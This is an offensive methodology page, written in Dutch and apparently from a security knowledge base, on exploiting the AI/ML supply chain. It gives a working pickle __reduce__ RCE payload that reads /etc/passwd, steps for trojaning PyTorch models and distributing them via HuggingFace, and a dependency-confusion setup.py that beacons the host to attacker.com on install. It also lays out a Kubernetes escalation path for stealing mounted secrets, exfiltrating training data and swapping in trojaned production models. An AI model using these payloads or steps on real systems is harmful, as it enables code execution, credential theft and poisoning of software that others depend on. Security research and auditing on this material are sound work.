AI Supply Chain Exploitation

Methodologie voor het uitbuiten van de AI/ML-supply-chain: RCE via modelserialisatie, dependency confusion, datasetvergiftiging, CI/CD-injectie en container escape.

AI Supply Chain Exploitation

De AI/ML-supply-chain vertrouwt op impliciet vertrouwen in elke laag: modellen die als ondoorzichtige binaire blobs worden gedownload, datasets die uit niet-geverifieerde bronnen worden gehaald, en trainingspijplijnen die tijdens de voorbewerking willekeurige code uitvoeren. Anders dan traditionele software-supply-chains met handtekeningen en checksums, normaliseert het ML-ecosysteem het uitvoeren van niet-vertrouwde code als standaardpraktijk.

Modelserialisatie-aanvallen

Methodologie

1. 1

   Craft a basic pickle RCE payload

   De __reduce__-methode vertelt pickle hoe een object gereconstrueerd moet worden. Retourneer os.system met een shell-commando om code-uitvoering te bereiken bij pickle.loads().

   Basic pickle RCE payload using __reduce__pythonShow code

   import pickle, os
    
   class MaliciousModel:
       def __reduce__(self):
           return (os.system, ("id; whoami; cat /etc/passwd",))
    
   payload = pickle.dumps(MaliciousModel())
   # pickle.loads(payload) triggers RCE

2. 2

   Embed payload in a PyTorch model file

   PyTorch's torch.save() gebruikt intern pickle. Maak een trojan-model dat tijdens torch.load() een payload uitvoert en tegelijkertijd geldige gewichten retourneert, zodat het slachtoffer niets verdachts opmerkt.

3. 3

   Distribute via HuggingFace Hub

   Upload het gewapende model naar de HuggingFace Hub met behulp van een van de onderstaande aanvalsvectoren.

HuggingFace-aanvalsvectoren

Beperkingen van safetensors

Safetensors lost de opslag van gewichten op, maar heeft belangrijke hiaten:

1. Modellen kunnen nog steeds pickle vereisen voor optimizer-states, trainingsconfiguratie of custom architecturen
2. Loaders kunnen terugvallen op pickle als safetensors-bestanden ontbreken
3. trust_remote_code=True voert willekeurige Python uit, ongeacht het gewichtenformaat
4. Een model card kan beweren het safetensors-formaat te gebruiken, terwijl de daadwerkelijke bestanden pickle zijn

Dependency confusion en typosquatting

Dependency confusion buit de interactie tussen privé- en publieke package-indices uit.

Aanvalsstappen

1. 1

   Identify internal package names

   Enumereer interne ML-packagenamen uit vacatures, GitHub-repos, foutmeldingen of documentatielekken.

2. 2

   Publish to public PyPI with high version

   Maak een package met dezelfde naam en versie 99.0.0. Als het target --extra-index-url gebruikt (in plaats van --index-url), installeert pip de hogere versie van het publieke PyPI.

   Dependency confusion setup.py with beacon exfiltrationpythonShow code

   # setup.py for the malicious package
   from setuptools import setup
   import os, urllib.request
    
   try:
       hostname = os.uname().nodename
       urllib.request.urlopen(f"https://attacker.com/dep-confusion?host={hostname}")
   except: pass
    
   setup(name="acme-ml-utils", version="99.0.0", packages=["acme_ml_utils"])

3. 3

   Exploit typosquatting for broader targeting

   Richt je op vaak verkeerd getypte ML-packagenamen.

Veelvoorkomende typosquat-doelwitten

Datasetvergiftiging

Datasets op HuggingFace Datasets, Kaggle en academische repositories worden met minimale verificatie geconsumeerd. Twee primaire aanvalspatronen:

CI/CD-pijplijninjectie

Checklist voor kwetsbare ML-pijplijnen

Audit ML-trainingsworkflows op deze vier kritieke gebreken:

Experiment tracking als aanvalsoppervlak

Met toegang tot een MLflow-trackingserver kan een aanvaller:

1. Hyperparameters wijzigen die door trainingsruns worden geladen
2. Artefactreferenties omleiden naar kwaadaardige modelcheckpoints
3. Datasetversietags wijzigen zodat ze naar vergiftigde data verwijzen
4. Productie-modelregistraties overschrijven met getrojaniseerde checkpoints

Container escape in ML-infrastructuur

GPU-container-aanvalsoppervlak

GPU-containers vergroten het standaard container-aanvalsoppervlak, omdat ze doorgaans het volgende vereisen:

Scannen van GPU-geheugenresten

Op gedeelde GPU-infrastructuur kunnen data van vorige tenants (modelgewichten, trainingssamples, API-sleutels) achterblijven in niet-geïnitialiseerd GPU-geheugen. Alloceer niet-geïnitialiseerde tensors via torch.empty(..., device='cuda') en scan op niet-nulwaarden.

Escalatiepad in een Kubernetes-ML-cluster

1. 1

   Compromise the training job

   Via een vergiftigde afhankelijkheid of injectie in de datapijplijn.

2. 2

   Read mounted secrets

   AWS-inloggegevens, HuggingFace-tokens uit gemounte Kubernetes-secrets.

3. 3

   Access shared model storage

   Vervang productiemodellen op NFS-mounts door getrojaniseerde versies.

4. 4

   Pivot to data lake

   Exfiltreer trainingsdata uit gedeelde mounts.

5. 5

   Escape to node

   Gebruik privileged-containertoegang (privileged: true) voor compromittering op nodeniveau.

Audit-checklist voor de supply chain

Gerelateerde onderwerpen

• Pickle Exploits — Pickle-deserialisatie is een belangrijke supply-chain-vector
• App Security — Security op applicatieniveau voor AI-systemen

References

• OWASP Machine Learning Security Top 10 — ML-specific supply chain risks
• Hugging Face Security — Model hub security documentation
• Fickling: Pickle decompiler and static analyzer — Trail of Bits pickle security tool